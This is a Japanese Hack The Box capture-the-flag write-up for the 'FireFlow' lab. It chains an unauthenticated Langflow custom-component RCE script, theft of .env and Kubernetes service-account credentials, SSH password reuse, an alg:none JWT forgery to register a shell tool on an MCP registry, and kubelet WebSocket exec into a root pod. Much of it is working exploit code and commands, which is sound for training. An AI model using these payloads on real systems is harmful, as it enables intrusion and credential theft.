Hack The BoxのWriteup(FireFlow)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告


HackTheBox: FireFlow — 全実行コマンド・実行結果レポート

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.244.214 -oN nmap/allports.txt
RESULT
PORT    STATE SERVICE
22/tcp  open  ssh
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 182.89 seconds
i 開放ポートは SSH(22) と HTTPS(443) の 2 つのみ。攻撃対象は Web サービス。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,443 10.129.244.214 -oN nmap/detailed.txt
RESULT
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
443/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
|_http-title: FireFlow - Task Force Nightfall

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+ SSL 証明書の SAN に *.fireflow.htb ワイルドカードを発見。サブドメイン列挙で追加サービスが見つかる可能性あり。

ホスト設定・サブドメイン列挙

BASH
# /etc/hosts 登録
echo "10.129.244.214 fireflow.htb flow.fireflow.htb" >> /etc/hosts

# vhost 列挙
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://fireflow.htb/ -H "Host: FUZZ.fireflow.htb" -fs 0 -mc 200,301
RESULT
flow    [Status: 200, Size: 5243]
+ flow.fireflow.htb を発見。アクセスすると Langflow 1.8.2 の Web UI が表示された。

Langflow バージョン確認・OpenAPI 調査

BASH
curl -sk https://flow.fireflow.htb/api/v1/version
curl -sk https://flow.fireflow.htb/openapi.json | python3 -c "
import sys,json; d=json.load(sys.stdin)
# 未認証エンドポイントを探索
paths = d.get('paths', {})
for p, m in paths.items():
    if 'post' in m and 'security' not in m.get('post',{}):
        print('UNAUTH POST:', p)
"
RESULT
{"version":"1.8.2","main_version":"1.8.2","package":"Langflow"}

UNAUTH POST: /api/v1/build_public_tmp/{flow_id}/flow
UNAUTH POST: /api/v1/users/
...
! POST /api/v1/build_public_tmp/{flow_id}/flow が認証不要で公開されており、 FlowDataRequest スキーマに additionalProperties: true のカスタムノードを注入可能と判明。
PHASE 2

Langflow 未認証 RCE (CVE-2025-3248 亜種)

脆弱性概要

Langflow の POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントは認証不要でアクセス可能。 リクエストボディの data.nodes"key": "CustomComponent" を持つノードを注入すると、 サーバー側で Python コードが実行される (lfx カスタムパッケージの動的コンポーネント評価)。

! CVE-2025-3248 (Langflow <= 1.2.x) の派生脆弱性。バージョン 1.8.x でも同エンドポイントが未認証のまま残存。

RCE エクスプロイトペイロード

PYTHON (/tmp/fireflow_rce.py)
import json, urllib.request, ssl, sys

FLOW_ID = "7d84d636-af65-42e4-ac38-26e867052c25"
CLIENT_ID = "bcd39b27-0b71-487c-919e-894ee0c26585"
BASE_URL = "https://flow.fireflow.htb"
CMD = sys.argv[1] if len(sys.argv) > 1 else "id"

CODE = f'''from lfx.custom import Component
from lfx.io import Output, MessageTextInput
from lfx.schema.message import Message

class CustomComponent(Component):
    display_name = "Custom"
    inputs = [MessageTextInput(name="input_value", display_name="Input")]
    outputs = [Output(display_name="Output", name="output", method="build")]
    def build(self) -> Message:
        import subprocess
        result = subprocess.check_output(
            {repr(CMD)}, shell=True, stderr=subprocess.STDOUT
        ).decode("utf-8", errors="replace")
        return Message(text=result)
'''

node = {
    "id": "CustomComponent-001", "type": "genericNode",
    "data": {
        "id": "CustomComponent-001", "type": "genericNode",
        "node": {
            "template": {"_type": "Component",
                "code": {"value": CODE, "type": "code", "_input_type": "CodeInput",
                         "show": True, "name": "code", "required": True}},
            "description": "Custom", "display_name": "Custom",
            "base_classes": ["Message"],
            "key": "CustomComponent",  # <-- RCE トリガー
            "outputs": [{"name":"output","method":"build","types":["Message"],"selected":"Message"}]
        }
    }
}

payload = json.dumps({"data": {"nodes": [node], "edges": []}}).encode()
# POST 送信 → job_id 取得 → /events SSE ストリームから出力を読み取る

RCE 動作確認・環境変数ダンプ

BASH
python3 /tmp/fireflow_rce.py 'id'
python3 /tmp/fireflow_rce.py 'cat /etc/langflow/.env'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

LANGFLOW_AUTO_LOGIN=False
LANGFLOW_SUPERUSER=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
LANGFLOW_CONFIG_DIR=/var/lib/langflow
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
+ www-data として任意コマンド実行成功。/etc/langflow/.env から LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll を取得。
PHASE 3

認証情報横展開 → user.txt 取得

SSH パスワード再利用

BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 'id'
RESULT
uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)
+ Langflow スーパーユーザーパスワードが OS ユーザー nightfall で再利用されていた。SSH ログイン成功。

user.txt 取得

BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.244.214 'cat ~/user.txt'
RESULT
2d77cf5119c4ba973c0bf2f765bf9796

MCP 設定ファイル発見

BASH
sshpass -p 'n1ghtm4r3_b4_n1ghtf4ll' ssh nightfall@10.129.244.214 'cat ~/.mcp/config.json'
RESULT
{
  "server": "http://10.129.244.214:30080",
  "status_endpoint": "/api/v1/version",
  "user": "langflow-bot",
  "password": "Langfl0w@mcp2026!"
}
! ポート 30080 に MCP Tool Registry が稼働。認証情報 langflow-bot:Langfl0w@mcp2026! と admin 専用エンドポイントが存在する。
PHASE 4

MCP サーバー攻撃 — JWT alg:none バイパス → RCE

MCP サーバー情報収集

BASH
# Langflow RCE 経由でアクセス (ポート 30080 はクラスタ内部公開)
python3 /tmp/fireflow_rce.py 'curl -s http://localhost:30080/api/v1/version'
RESULT
{
  "service": "MCP AI Tool Registry", "version": "0.1.0",
  "auth": {
    "type": "JWT",
    "supported_algorithms": ["HS256", "none"]
  },
  "endpoints": ["POST /mcp [MCP JSON-RPC 2.0]", "POST /api/v1/auth",
                 "GET /api/v1/tools", "POST /api/v1/tools [admin]"]
}
! supported_algorithms"none" が含まれている。 署名なし JWT トークン (alg:none) で認証をバイパスし管理者権限が取得可能。

MCP サーバーソースコード解析

Langflow RCE 経由で /proc/<mcp-pid>/root/app/main.py を読み取り実装を確認。

PYTHON (MCP server main.py — 抜粋)
# JWT 検証ロジック (脆弱)
def verify_token(credentials = Depends(security)):
    header = jose_jwt.get_unverified_header(token)
    alg = header.get("alg", "HS256")
    if alg == "none":
        payload = jose_jwt.decode(token, key="",
                                  options={"verify_signature": False})

# ハードコード済みユーザー
USERS = {
    "langflow-bot":    {"password": "Langfl0w@mcp2026!", "role": "user"},
    "nightfall-admin": {"password": "4dm1n@NightfallOps!", "role": "admin"}
}
JWT_SECRET = "mcp-jwt-secret-do-not-share"

# ツール実行: python3 -c {tool["code"]} で stdin に引数を渡す
proc = subprocess.Popen(
    ["python3", "-c", tool["code"]],
    stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
)

JWT alg:none バイパスで admin トークン生成

PYTHON
import base64, json

def make_jwt_none(payload_dict):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"none","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    payload = base64.urlsafe_b64encode(
        json.dumps(payload_dict).encode()
    ).rstrip(b'=').decode()
    return f"{header}.{payload}."

admin_token = make_jwt_none({"sub": "nightfall-admin", "role": "admin"})
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJuaWdodGZhbGwtYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

悪意ある Shell ツール登録 → MCP コンテナ RCE

BASH
# ツールコード (stdin から cmd を受け取り実行)
TOOL_CODE='import subprocess, sys, json
args = json.loads(sys.stdin.read() or "{}")
cmd = args.get("cmd", "id")
r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=240)
print(r.stdout.decode("utf-8", errors="replace"))'

# Admin トークンでツール登録
curl -s http://localhost:30080/api/v1/tools \
  -H "Authorization: Bearer $ADMIN_JWT_NONE" \
  -H "Content-Type: application/json" \
  -d '{"name":"shell_exec_helper","description":"shell","code":"...TOOL_CODE..."}'

# MCP JSON-RPC でコマンド実行
curl -s http://localhost:30080/mcp \
  -H "Authorization: Bearer $ADMIN_JWT_NONE" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"shell_exec_helper","arguments":{"cmd":"id"}},"id":1}'
RESULT
{"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text",
"text":"uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)"}]}}
+ MCP コンテナ内 (mcp uid=1000) でコマンド実行成功。 ポート 30080 が外部から到達不能な場合は nightfall SSH でポートフォワード (SSH -L) して接続。

MCP コンテナの K8s SA トークン確認

BASH
# MCP コンテナ内から SA 確認
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace  # → default
cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -c1-50
RESULT
default
eyJhbGciOiJSUzI1NiIsImtpZCI6ImFQRTZ5R3Jr...
PHASE 5

kubelet 10250 WebSocket exec → node-exporter → root.txt

mcp-sa の RBAC 権限確認

BASH
SA=/var/run/secrets/kubernetes.io/serviceaccount
TOKEN=$(cat $SA/token)
curl -sk --cacert $SA/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc.cluster.local/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
RESULT
"resourceRules": [
  { "verbs": ["get"], "resources": ["nodes/proxy"] }
]
i mcp-saget nodes/proxy のみ保有。 ただし kubelet ポート 10250 への直接アクセスは SA トークンで可能 (apiserver 経由ではなく直接)。

稼働中ポッド列挙 — node-exporter の発見

BASH
# kubelet /pods API (apiserver proxy 経由)
curl -sk --cacert $SA/ca.crt -H "Authorization: Bearer $TOKEN" \
  "https://kubernetes.default.svc.cluster.local/api/v1/nodes/fireflow/proxy/pods" \
  | python3 -c "
import sys,json
for p in json.load(sys.stdin)['items']:
    ns = p['metadata']['namespace']
    name = p['metadata']['name']
    # ホストファイルシステムマウントを確認
    for v in p['spec'].get('volumes', []):
        if v.get('hostPath'):
            print(f'HOSTPATH [{ns}/{name}]:', v['hostPath'])"
RESULT
HOSTPATH [monitoring/prometheus-prometheus-node-exporter-nmntq]: /
# mountPath: /host/root, readOnly: true
# → ホストの / が /host/root にマウントされている!
! node-exporter ポッドはホストルートファイルシステムを /host/root にマウント。 このコンテナ内でコマンドを実行すれば /host/root/root/root.txt を読み取れる。

kubelet 10250 への直接 WebSocket exec

kubelet の /exec/{namespace}/{pod}/{container} エンドポイントは WebSocket プロトコルで コンテナ内コマンド実行をサポートする。SA トークンを使って kubelet ポート 10250 に直接接続することで nodes/proxy create 権限なしでも exec が可能。

BASH
# MCP コンテナ内から kubelet 10250 へ直接 WebSocket exec
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# node-exporter に 'id' を実行してコンテナ内 UID を確認
EXEC_URL="https://<NODE_IP>:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter"
URL="${EXEC_URL}?command=id&input=0&output=1&error=1&tty=0"

curl -sk --http1.1 --path-as-is --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
  -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
  "$URL"
RESULT
uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
{"metadata":{},"status":"Success"}
+ node-exporter コンテナ内では root (uid=0) として動作している。 ホスト FS が /host/root にマウント済みのため、 /host/root/root/root.txt が読み取り可能。

root.txt 取得

BASH
ROOT_URL="${EXEC_URL}?command=cat&command=/host/root/root/root.txt&input=0&output=1&error=1&tty=0"

curl -sk --http1.1 --path-as-is --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
  -H "Sec-WebSocket-Protocol: v4.channel.k8s.io" \
  "$ROOT_URL" | grep -aoE '[0-9a-f]{32}'
RESULT
1c3f21e08f357dfd67a55a1dc0a88e4e
+ root.txt 取得成功! 経路: MCP JWT alg:none bypass → SSH tunnel → MCP shell tool → kubelet 10250 WebSocket exec → node-exporter (ホスト / マウント) → /host/root/root/root.txt
SUMMARY

まとめ

取得フラグ

USER FLAG

2d77cf5119c4ba973c0bf2f765bf9796

Langflow RCE → /etc/langflow/.env → SSH nightfall

ROOT FLAG

1c3f21e08f357dfd67a55a1dc0a88e4e

MCP JWT bypass → kubelet 10250 exec → node-exporter → /host/root/root/root.txt

攻撃フロー

#フェーズ手法結果
1 偵察 nmap + SSL SAN 解析 + vhost fuzzing flow.fireflow.htb (Langflow 1.8.2) 発見
2 初期侵入 POST /api/v1/build_public_tmp/{flow_id}/flow CustomComponent 注入 (未認証 RCE) www-data として ホスト上でコマンド実行
3 認証情報収集 /etc/langflow/.env 読み取り n1ghtm4r3_b4_n1ghtf4ll (Langflow PW) 取得
4 横展開 SSH パスワード再利用 user.txt: 2d77cf5119c4ba973c0bf2f765bf9796
5 MCP 攻撃 JWT alg:none バイパス → admin token → shell ツール登録 MCP コンテナ (mcp uid=1000) RCE
6 K8s SA 利用 K8s SA トークン → kubelet 10250 直接 WebSocket node-exporter コンテナ内で root exec
7 権限昇格 node-exporter の /host/root ホスト FS マウント経由 root.txt: 1c3f21e08f357dfd67a55a1dc0a88e4e

発見した認証情報

サービスユーザーパスワード / シークレット権限
Langflow Web UIlangflown1ghtm4r3_b4_n1ghtf4llSuperuser
SSH / OSnightfalln1ghtm4r3_b4_n1ghtf4ll一般ユーザー (UID=1000)
MCP サーバーlangflow-botLangfl0w@mcp2026!user ロール
MCP サーバーnightfall-admin4dm1n@NightfallOps!admin ロール
MCP JWTmcp-jwt-secret-do-not-shareJWT 署名鍵 (HS256)
LangflowXgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgESECRET_KEY

主要脆弱性

脆弱性影響箇所深刻度説明
未認証 RCE Langflow 1.8.2 Critical /api/v1/build_public_tmp に認証なしでカスタムコンポーネントを注入可能
パスワード再利用 nightfall ユーザー High Langflow アプリパスワードを OS ユーザーが再利用
JWT alg:none バイパス MCP Tool Registry Critical 署名検証をスキップした JWT で管理者権限を詐称可能
機密情報ハードコード MCP サーバーソース High JWT_SECRET・ユーザー認証情報がソースコードに平文記述
kubelet 過剰権限 K8s (kubelet 10250) Critical SA トークンで kubelet 直接 exec が可能。node-exporter がホスト FS をマウント

使用ツール

nmap
ポートスキャン・サービス検出
ffuf
vhost サブドメイン列挙
curl
API 操作・WebSocket exec
Python3
RCE エクスプロイト・JWT 生成
sshpass
SSH 認証・ポートフォワード
killchain_runner.py
自動攻撃チェーン実行